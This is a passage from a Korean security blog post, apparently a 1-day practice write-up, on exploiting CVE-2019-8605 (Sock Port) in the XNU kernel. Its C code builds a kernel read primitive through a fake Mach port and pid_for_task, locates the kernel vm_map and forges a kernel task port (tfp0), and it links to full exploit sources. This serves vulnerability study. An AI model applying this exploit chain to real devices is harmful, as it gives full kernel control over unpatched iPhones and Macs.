\uc624\ud504\uc14b\uc744 \uacc4\uc0b0\ud558\ub294 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">int pid = *(*(*(get_ipc_port(port) + offset_task) + offset_bsd_info) + offset_pid)\n<\/code><\/pre>\n<p>\uc6b0\ub9ac\uac00 fakeport\ub97c \uc81c\uc5b4\ud560 \uc218 \uc788\uae30 \ub54c\ubb38\uc5d0, \uadf8 <code>bsd_info<\/code>\ub97c <code>addr - offset_pid<\/code>\ub85c \ubcc0\uacbd\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc774\ub54c<code>(*(get_ipc_port(port) + offset_task) + offset_bsd_info) = addr - offset_pid<\/code>\uac00 \ub418\uc5b4,\n\uc704\uc758 \uacf5\uc2dd\uc740 \ub2e4\uc74c\uacfc \uac19\uc774 \ub3d9\ub4f1\ud558\uac8c \ud45c\ud604\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">int pid = *(addr - offset_pid + offset_pid) = *addr\n<\/code><\/pre>\n<p>\uc774 \ubc29\uc2dd\uc744 \ud1b5\ud574 <code>addr<\/code> \uc704\uce58\uc758 4\ubc14\uc774\ud2b8 \ub370\uc774\ud130\ub97c \uc548\uc815\uc801\uc73c\ub85c \uc77d\uc744 \uc218 \uc788\uace0,\n\uacb0\uacfc\uc801\uc73c\ub85c \uc644\ubcbd\ud55c \ucee4\ub110 \uc77d\uae30 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uad6c\ud604\ud560 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + 0x380);   \/\/p\/x offsetof(struct task, bsd_info)\n\n    \/\/0x60 = p\/x offsetof(struct proc, p_pid)\n#define kr32(addr, value)\\\n    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\\\n    *read_addr_ptr = addr - 0x60;\\  \n    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\\\n    value = 0x0;\\\n    ret = pid_for_task(our_port, (int *)&amp;value);\n<\/code><\/pre>\n<p>\uba3c\uc800 Pipe \ubc84\ud37c\ub97c \ud1b5\ud574 <code>bsd_info<\/code>\ub97c \uc218\uc815\ud55c \ub4a4, fakeport \ud578\ub4e4\uc744 <code>pid_for_task<\/code>\uc5d0 \uc804\ub2ec\ud558\uba74 \uc9c0\uc815\ud55c \uc8fc\uc18c\uc758 4\ubc14\uc774\ud2b8 \ub370\uc774\ud130\ub97c \uc77d\uc5b4\uc62c \uc218 \uc788\ub2e4.<\/p>\n<p>\uc5ec\ub7ec \ubc88\uc758 <code>kr32<\/code> \ud638\ucd9c\uc744 \uc870\ud569\ud558\uba74 \uc784\uc758 \uae38\uc774\uc758 \ub370\uc774\ud130\ub97c \ucee4\ub110\uc5d0\uc11c \uc77d\ub294 \uac83\uc774 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<p>\uc870\ud569\ud558\uc5ec \uc544\ub798 8\ubc14\uc774\ud2b8 \ucee4\ub110 \uc77d\uae30 \ub9e4\ud06c\ub85c\ub97c \ub9cc\ub4e4 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">    uint32_t read64_tmp;\n#define kr64(addr, value)\\\n    kr32(addr + 0x4, read64_tmp);\\\n    kr32(addr, value);\\\n    value = value | ((uint64_t)read64_tmp &lt;&lt; 32)\n<\/code><\/pre>\n<h3>\ucee4\ub110 vm_map\uc744 \ud68d\ub4dd\ud558\uc5ec tfp0 \ud3ec\ud2b8 \uc0dd\uc131<\/h3>\n<p>\ud604\uc7ac \ud504\ub85c\uc138\uc2a4\uc758 task_port\ub97c \uae30\ubc18\uc73c\ub85c \ubaa8\ub4e0 \ud504\ub85c\uc138\uc2a4\ub97c \uc5f4\uac70\ud560 \uc218 \uc788\uc73c\uba70, \uc774 \uacfc\uc815\uc5d0\uc11c \uc218\ubc31 \ubc88\uc758 \ucee4\ub110 \uc77d\uae30\uac00 \ud544\uc694\ud558\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c \uc55e\uc11c \uc124\uba85\ud55c \uc548\uc815\uc801\uc778 pid_for_task \ud568\uc218\ub97c \ud1b5\ud55c \ucee4\ub110 \uc77d\uae30 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \ud65c\uc6a9\ud574\uc57c\ud55c\ub2e4.<\/p>\n<p><code>proc<\/code>\ub294 \uc591\ubc29\ud5a5 \uc5f0\uacb0 \ub9ac\uc2a4\ud2b8\uc774\ubbc0\ub85c, \ud604\uc7ac \ud504\ub85c\uc138\uc2a4\ubd80\ud130 \uc2dc\uc791\ud574 \uc55e\ucabd\uc73c\ub85c <code>pid=0<\/code>\uae4c\uc9c0 \uc21c\ud68c\ud560 \uc218 \uc788\ub2e4.\n\uadf8 \ud6c4 \ucee4\ub110 \ud0dc\uc2a4\ud06c\uc5d0\uc11c <code>vm_map<\/code>\uc744 \uac00\uc838\uc624\uc790.<\/p>\n<pre><code class=\"language-c\">uint64_t struct_task;\nkr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);\nif (!struct_task) {\n    printf(&quot;[-] kernel read failed!\\n&quot;);\n    goto err;\n}\n\nprintf(&quot;[!] READING VIA FAKE PORT WORKED? 0x%llx\\n&quot;, struct_task);\nprintf(&quot;[+] Let's steal that kernel task port!\\n&quot;);\n\n\/\/ tfp0!\n\nuint64_t kernel_vm_map = 0;\n\nwhile (struct_task != 0) {\n    uint64_t bsd_info;\n    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);\n    if (!bsd_info) {\n        printf(&quot;[-] kernel read failed!\\n&quot;);\n        goto err;\n    }\n    \n    uint32_t pid;\n    kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);\n    \n    if (pid == 0) {\n        uint64_t vm_map;\n        kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);\n        if (!vm_map) {\n            printf(&quot;[-] kernel read failed!\\n&quot;);\n            goto err;\n        }\n        \n        kernel_vm_map = vm_map;\n        break;\n    }\n    \n    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);\n}\n<\/code><\/pre>\n<p>\uc55e\uc11c \uc5bb\uc740 \ucee4\ub110 <code>vm_map<\/code>\uc744 fakeport\uc5d0 \uc791\uc131\ud558\uba74, \uc774\uc81c \ud569\ubc95\uc801\uc778 \ucee4\ub110 \ud0dc\uc2a4\ud06c \ud3ec\ud2b8\ub97c \uac00\uc9c0\uac8c \ub41c\ub2e4!<\/p>\n<pre><code class=\"language-c\">read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\n    \nfake_task-&gt;lock.data = 0x0;\nfake_task-&gt;lock.type = 0x22;\nfake_task-&gt;ref_count = 100;\nfake_task-&gt;active = 1;\nfake_task-&gt;map = kernel_vm_map;\n*(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;\n\nif (SMAP) {\n    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\n}\n<\/code><\/pre>\n<p>\uc774 \uc2dc\uc810\ubd80\ud130\ub294 \uc774\uc81c tfp0 \ud3ec\ud2b8\ub97c \ubcf4\uc720\ud558\uace0 \uc788\uc5b4,\nmach_vm \uad00\ub828 \uba54\ubaa8\ub9ac \ud568\uc218\ub97c \uc0ac\uc6a9\ud574 \uc774\ub97c \uac80\uc99d\ud560 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">    tfp0 = our_port;\n\n    uint64_t addr = kalloc(8);\n    \n    if (!addr) {\n        printf(&quot;[-] seems like tfp0 port didn't work?\\n&quot;);\n        goto err;\n    }\n    \n    printf(&quot;[*] allocated: 0x%llx\\n&quot;, addr);\n    kwrite64(addr, 0x4141414141414141);\n    uint64_t readb = kread64(addr);\n    kfree(addr, 8);\n\n    printf(&quot;[*] read back: 0x%llx\\n&quot;, readb);\n<\/code><\/pre>\n<h2>\ucc38\uace0 \uc790\ub8cc \ubc0f \ucd9c\ucc98<\/h2>\n<ul>\n<li>\n<p>Exploit Code<\/p>\n<ul>\n<li>https:\/\/gist.github.com\/ur0\/a9b2d8088479a70665f729c4e9bf8720<\/li>\n<li>https:\/\/github.com\/jakeajames\/sock_port<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>Writeup<\/p>\n<ul>\n<li>\n<p>https:\/\/project-zero.issues.chromium.org\/issues\/42450885#comment13<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/blog.asm.im\/2019\/11\/17\/Sock-Port-%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%EF%BC%88%E4%B8%80%EF%BC%89UAF-%E4%B8%8E-Heap-Spraying\/#%E5%89%8D%E8%A8%80\">https:\/\/blog.asm.im\/2019\/11\/17\/Sock-Port-\u6f0f\u6d1e\u89e3\u6790\uff08\u4e00\uff09UAF-\u4e0e-Heap-Spraying\/#\u524d\u8a00<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/blog.asm.im\/2019\/11\/24\/Sock-Port-%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%EF%BC%88%E4%BA%8C%EF%BC%89%E9%80%9A%E8%BF%87-Mach-OOL-Message-%E6%B3%84%E9%9C%B2-Port-Address\/#%E5%89%8D%E8%A8%80\">https:\/\/blog.asm.im\/2019\/11\/24\/Sock-Port-\u6f0f\u6d1e\u89e3\u6790\uff08\u4e8c\uff09\u901a\u8fc7-Mach-OOL-Message-\u6cc4\u9732-Port-Address\/#\u524d\u8a00<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/blog.asm.im\/2019\/12\/01\/Sock-Port-%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%EF%BC%88%E4%B8%89%EF%BC%89IOSurface-Heap-Spraying\/#XML-%E6%9E%84%E9%80%A0\">https:\/\/blog.asm.im\/2019\/12\/01\/Sock-Port-\u6f0f\u6d1e\u89e3\u6790\uff08\u4e09\uff09IOSurface-Heap-Spraying\/#XML-\u6784\u9020<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/blog.asm.im\/2019\/12\/08\/Sock-Port-%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%EF%BC%88%E5%9B%9B%EF%BC%89The-tfp0\/\">https:\/\/blog.asm.im\/2019\/12\/08\/Sock-Port-\u6f0f\u6d1e\u89e3\u6790\uff08\u56db\uff09The-tfp0\/<\/a><\/p>\n<\/li>\n<li>\n<p>https:\/\/raw.githubusercontent.com\/jakeajames\/sock_port\/master\/sock_port.pdf<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/wnagzihxa1n.vip\/assets\/pdf\/CVE-2019-8605%20FROM%20UAF%20TO%20TFP0.pdf\">https:\/\/wnagzihxa1n.vip\/assets\/pdf\/CVE-2019-8605 FROM UAF TO TFP0.pdf<\/a><\/p>\n<\/li>\n<li>\n<p>https:\/\/googleprojectzero.blogspot.com\/2019\/12\/sockpuppet-walkthrough-of-kernel.html<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>\uad00\ub828 \uae00\uacfc \ucf54\ub4dc\ub4e4\uc740 \uc544\ub798 \ub9c1\ud06c\uc5d0\uc11c \ud655\uc778\ud558\uc2e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4. https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/CVE-2019-8605<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[72],"tags":[35,12,13,45],"class_list":["post-3932","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-heap","tag-ios-kernel","tag-macos","tag-uaf"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3932","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3932"}],"version-history":[{"count":2,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3932\/revisions"}],"predecessor-version":[{"id":3934,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3932\/revisions\/3934"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3932"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3932"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3932"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}